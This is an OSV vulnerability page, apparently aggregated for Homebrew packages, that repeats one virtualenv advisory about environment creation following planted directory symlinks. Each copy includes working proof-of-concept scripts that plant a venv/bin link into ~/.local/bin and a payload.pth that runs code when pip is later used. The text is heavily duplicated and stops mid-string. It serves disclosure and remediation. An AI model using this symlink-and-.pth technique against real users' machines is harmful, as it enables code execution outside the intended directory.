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    BREW-CHARM-TOOLS-CVE-202… (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-22 08:49 – Updated: 2026-11-19 08:49 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": null,
            "range_state": "affected",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@20.39.1",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "charm-tools",
            "purl": "pkg:brew/charm-tools"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.9.3"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@20.39.1",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "20.39.1"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, f\"/tmp/repro.d/{make_checkout}\", home / \"project\"], check=True)\n    venv = home / \"project/venv\"\n    print(f\"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / \u0027bin\u0027)}\")\n\n    # default options; the flag only keeps the run off the network\n    subprocess.run([\"virtualenv\", \"--no-periodic-update\", \"--quiet\", \"venv\"], cwd=home / \"project\", env=user_env, check=True)\n    written = sorted(set(os.listdir(local_bin)) - local_bin_before)\n    payload_ran_at_creation = payload_marker.exists()\n    print(f\"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / \u0027bin\u0027)}\")\n    print(f\"OBSERVED virtualenv wrote to {local_bin}: {written}\")\n    print(f\"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}\")\n\n    # later, in another folder, the user runs pip\n    pip = subprocess.run([\"pip\", \"--version\"], cwd=home, env=user_env, capture_output=True, text=True)\n    print(f\"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}\")\n    print(f\"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}\")\n    return written, payload_marker.exists() and not payload_ran_at_creation\n\n\nprint(\"--- checkout_with_bin_link.py: venv/bin -\u003e ../../.local/bin\")\nhome = WORK / \"bin-link\"\n(home / \".local/bin\").mkdir(parents=True)\nwritten_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link.py\")\n\nprint(\"--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded\")\nhome = WORK / \"bin-link-staying-inside\"\n(home / \".local/bin\").mkdir(parents=True)\n# python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user\u0027s own python there\n(home / \".local/bin/python\").symlink_to(\"/usr/local/bin/python3\")\nwritten_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, \"checkout_with_bin_link_staying_inside.py\")\n\n# check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout\u0027s .pth\nplain_link_followed = {\"pip\", \"activate\"} \u003c= set(written_1) and pip_ran_payload_1\nlink_staying_inside_followed = {\"pip\", \"activate\"} \u003c= set(written_2) and pip_ran_payload_2\nprint(\"---\")\nprint(f\"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}\")\nprint(f\"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}\")\nprint(\"BUG\" if plain_link_followed or link_staying_inside_followed else \"OK\")\n```\n\n**`repro.d/checkout_with_bin_link.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\n# one per minor version: the attacker does not know which Python the user has\nfor minor in range(9, 20):\n    site_packages = venv / f\"lib/python3.{minor}/site-packages\"\n    site_packages.mkdir(parents=True)\n    (site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\n\n# relative to a checkout at ~/project\n(venv / \"bin\").symlink_to(\"../../.local/bin\")\n```\n\n**`repro.d/checkout_with_bin_link_staying_inside.py`**\n\n```text\nimport sys\nfrom pathlib import Path\n\nvenv = Path(sys.argv[1]) / \"venv\"\n\nsite_packages = venv / \"lib/py/site-packages\"\nsite_packages.mkdir(parents=True)\n(site_packages / \"payload.pth\").write_text(\"import os; open(os.path.expanduser(\u0027~/PWNED\u0027), \u0027w\u0027).write(os.getcwd())\\n\")\nfor minor in range(9, 20):\n    (venv / f\"lib/python3.{minor}\").symlink_to(\"py\")\n\n# pip -\u003e a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below\n(venv / \"1/2/3/4/5/6/7\").mkdir(parents=True)\n(site_packages / \"pip\").symlink_to(\"../../../1/2/3/4/5/6/7\")\n\n# six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~\n(venv / \"1/.local/bin\").mkdir(parents=True)\n(venv / \"bin\").symlink_to(\"lib/py/site-packages/pip\" + \"/..\" * 6 + \"/.local/bin\")\n```\n\n## Impact\n\nCreation can place or replace environment files outside the selected tree. The written bytes are environment-creation\noutput; arbitrary attacker-selected file contents are not established.\n\nSeverity: medium. CVSS 4.5, `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L`, assigned during maintainer review.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths.\nEach replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced\nlink or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree\nreplacement.\n\nFix: [PR #3429](https://github.com/pypa/virtualenv/pull/3429).\n\n## Known mitigation\n\nCreate environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by\nanother account.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-MUFJEG11.",
      "id": "BREW-charm-tools-CVE-2026-113716",
      "modified": "2026-11-19T08:49:57Z",
      "published": "2026-10-22T08:49:42Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-cw65-gx24-rc82"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113716"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/pull/3429"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/commit/554d9f9d4f7758f5cf53f993031e29787f1f74c5"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pypa/virtualenv"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L",
          "type": "CVSS_V3"
        }
      ],
      "summary": "virtualenv: Builtin creation follows linked environment directories",
      "upstream": [
        "GHSA-cw65-gx24-rc82",
        "CVE-2026-113716",
        "BIT-virtualenv-2026-113716",
        "PYSEC-2026-4375"
      ]
    }

    BREW-CONDA-LOCK-CVE-2026… (GHSA-CW65-GX24-RC82)

    Vulnerability from osv_homebrew – Published: 2026-10-29 21:39 – Updated: 2026-11-19 08:45 – Source website
    VLAI
    Summary
    virtualenv: Builtin creation follows linked environment directories
    Details

    Summary

    The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

    Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Directory preparation before environment files are created.

    Attacker-controlled input

    Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

    Affected code

    The relevant 21.14.8 source is in builtin creator, ensure_dir().

    Mechanism

    The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

    Reproduction and evidence

    The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

    The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

    Attack sequence

    sequenceDiagram
        participant A as Prepared destination
        participant V as Builtin creator
        participant L as venv/bin symlink
        participant H as ~/.local/bin
        participant U as User
        A->>L: point to ../../.local/bin
        V->>L: ensure_dir accepts existing directory link
        V->>H: write python, pip and activate files through link
        V-->>U: creation reports success
        U->>H: run pip found on PATH
        H->>A: interpreter loads planted .pth
        A-->>U: marker created
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    import sys
    from pathlib import Path
    
    WORK = Path("/tmp/planted-bin-link")
    shutil.rmtree(WORK, ignore_errors=True)
    
    
    def user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):
        local_bin = home / ".local/bin"
        user_env = {"HOME": str(home), "PATH": f"{local_bin}:{os.environ['PATH']}"}
        local_bin_before = set(os.listdir(local_bin))
        payload_marker = home / "PWNED"
    
        # the attacker's checkout arrives at ~/project
        subprocess.run([sys.executable, f"/tmp/repro.d/{make_checkout}", home / "project"], check=True)
        venv = home / "project/venv"
        print(f"CONTROL  venv/bin before the run resolves to {os.path.realpath(venv / 'bin')}")
    
        # default options; the flag only keeps the run off the network
        subprocess.run(["virtualenv", "--no-periodic-update", "--quiet", "venv"], cwd=home / "project", env=user_env, check=True)
        written = sorted(set(os.listdir(local_bin)) - local_bin_before)
        payload_ran_at_creation = payload_marker.exists()
        print(f"OBSERVED venv/bin after the run resolves to  {os.path.realpath(venv / 'bin')}")
        print(f"OBSERVED virtualenv wrote to {local_bin}: {written}")
        print(f"OBSERVED ~/PWNED exists after virtualenv: {payload_ran_at_creation}")
    
        # later, in another folder, the user runs pip
        pip = subprocess.run(["pip", "--version"], cwd=home, env=user_env, capture_output=True, text=True)
        print(f"OBSERVED pip --version: {(pip.stdout + pip.stderr).strip()}")
        print(f"OBSERVED ~/PWNED exists after pip: {payload_marker.exists()}")
        return written, payload_marker.exists() and not payload_ran_at_creation
    
    
    print("--- checkout_with_bin_link.py: venv/bin -> ../../.local/bin")
    home = WORK / "bin-link"
    (home / ".local/bin").mkdir(parents=True)
    written_1, pip_ran_payload_1 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link.py")
    
    print("--- checkout_with_bin_link_staying_inside.py: venv/bin resolves inside venv/ until pip is seeded")
    home = WORK / "bin-link-staying-inside"
    (home / ".local/bin").mkdir(parents=True)
    # python is linked before the bin link leads out, so the pip written to ~/.local/bin needs the user's own python there
    (home / ".local/bin/python").symlink_to("/usr/local/bin/python3")
    written_2, pip_ran_payload_2 = user_creates_venv_in_checkout_then_runs_pip(home, "checkout_with_bin_link_staying_inside.py")
    
    # check: virtualenv must write nothing outside ~/project/venv, let alone a pip that runs the checkout's .pth
    plain_link_followed = {"pip", "activate"} <= set(written_1) and pip_ran_payload_1
    link_staying_inside_followed = {"pip", "activate"} <= set(written_2) and pip_ran_payload_2
    print("---")
    print(f"OBSERVED first checkout: pip, activate written to ~/.local/bin and pip ran the payload: {plain_link_followed}")
    print(f"OBSERVED second checkout: pip, activate written to ~/.local/bin and pip ran the payload: {link_staying_inside_followed}")
    print("BUG" if plain_link_followed or link_staying_inside_followed else "OK")
    

    repro.d/checkout_with_bin_link.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    # one per minor version: the attacker does not know which Python the user has
    for minor in range(9, 20):
        site_packages = venv / f"lib/python3.{minor}/site-packages"
        site_packages.mkdir(parents=True)
        (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    
    # relative to a checkout at ~/project
    (venv / "bin").symlink_to("../../.local/bin")
    

    repro.d/checkout_with_bin_link_staying_inside.py

    import sys
    from pathlib import Path
    
    venv = Path(sys.argv[1]) / "venv"
    
    site_packages = venv / "lib/py/site-packages"
    site_packages.mkdir(parents=True)
    (site_packages / "payload.pth").write_text("import os; open(os.path.expanduser('~/PWNED'), 'w').write(os.getcwd())\n")
    for minor in range(9, 20):
        (venv / f"lib/python3.{minor}").symlink_to("py")
    
    # pip -> a folder 7 levels below venv/; the real pip folder the seeder puts in its place is only 4 levels below
    (venv / "1/2/3/4/5/6/7").mkdir(parents=True)
    (site_packages / "pip").symlink_to("../../../1/2/3/4/5/6/7")
    
    # six levels up from venv/1/2/3/4/5/6/7 is venv/1; six levels up from ~/project/venv/lib/py/site-packages/pip is ~
    (venv / "1/.local/bin").mkdir(parents=True)
    (venv / "bin").symlink_to("lib/py/site-packages/pip" + "/.." * 6 + "/.local/bin")
    

    Impact

    Creation can place or replace environment files outside the selected tree. The written bytes are environment-creation output; arbitrary attacker-selected file contents are not established.

    Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix removes pre-existing symbolic links and Windows junctions along executable and library directory paths. Each replacement is created immediately, and an existing entry must be a real directory. A warning names each replaced link or junction. Directories can still be replaced after preparation; this does not protect against concurrent tree replacement.

    Fix: PR #3429.

    Known mitigation

    Create environments in fresh directories beneath a parent controlled only by their owner. Do not reuse trees prepared by another account.

    Affected release

    • [x] The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-MUFJEG11.


    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "virtualenv",
            "resource_purl": "pkg:pypi/virtualenv@21.15.6",
            "upstream_fixed_in": "21.14.9"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "conda-lock",
            "purl": "pkg:brew/conda-lock"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "2.5.5"
                },
                {
                  "fixed": "4.1.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/virtualenv@21.15.6",
            "name": "virtualenv",
            "resource": "virtualenv",
            "strategy": "registry",
            "subject_version": "21.15.6"
          }
        ]
      },
      "details": "## Summary\n\nThe builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those\ndirectories. This permits writes outside the requested destination.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-MUFJEG11` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDirectory preparation before environment files are created.\n\n## Attacker-controlled input\n\nAnother account must be able to prepare linked entries below the chosen destination before creation. The invoking user\nmust have access to the linked destination. This does not require write access to the target itself under the other\naccount.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[builtin creator](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/builtin/via_global_self_do.py),\n[ensure_dir()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\nThe builtin creator calls `ensure_dir()` for `bin`, `lib`, and package directories. `ensure_dir()` accepts an existing\nsymlink to a directory because `exists()` follows it. Interpreter creation, seed installation, and activation-script\ngeneration then write through that parent link. A final-file check cannot prevent a write through a linked parent.\n`--clear` removes the planted tree first; ordinary creation over a prepared destination reaches it.\n\n## Reproduction and evidence\n\nThe scanner\u0027s project tree contains `venv/bin -\u003e ../../.local/bin` and a `.pth` file in the environment\u0027s package tree.\nWith the user\u0027s initially empty `~/.local/bin` first on `PATH`, `virtualenv venv` exited successfully and wrote\n`python*`, `pip*`, and `activate*` into `~/.local/bin`. The marker was absent immediately after creation; a later\n`pip --version` on the user\u0027s `PATH` loaded the seeded environment and the planted `.pth` code wrote the marker. A\nsecond case began with the `bin` link resolving inside the environment; replacement of a planted package link during\nseeding changed where it resolved, and writes again reached `~/.local/bin`.\n\nThe attacker must prepare entries in an existing destination. The `.pth` content is already attacker-controlled and\nwould run if the user used that environment directly; the added effect is creation-time writing or replacement outside\nthe requested tree and an executable on the user\u0027s `PATH` pointing at it. The scanner traces this default builtin path\nto 20.0.0b1. [PR #3429](https://github.com/pypa/virtualenv/pull/3429) replaces linked directory components before\ncreation. Concurrent parent replacement remains a separate case.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as Prepared destination\n    participant V as Builtin creator\n    participant L as venv/bin symlink\n    participant H as ~/.local/bin\n    participant U as User\n    A-\u003e\u003eL: point to ../../.local/bin\n    V-\u003e\u003eL: ensure_dir accepts existing directory link\n    V-\u003e\u003eH: write python, pip and activate files through link\n    V--\u003e\u003eU: creation reports success\n    U-\u003e\u003eH: run pip found on PATH\n    H-\u003e\u003eA: interpreter loads planted .pth\n    A--\u003e\u003eU: marker created\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-MUFJEG11`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/planted-bin-link\")\nshutil.rmtree(WORK, ignore_errors=True)\n\n\ndef user_creates_venv_in_checkout_then_runs_pip(home, make_checkout):\n    local_bin = home / \".local/bin\"\n    user_env = {\"HOME\": str(home), \"PATH\": f\"{local_bin}:{os.environ[\u0027PATH\u0027]}\"}\n    local_bin_before = set(os.listdir(local_bin))\n    payload_marker = home / \"PWNED\"\n\n    # the attacker\u0027s checkout arrives at ~/project\n    subprocess.run([sys.executable, 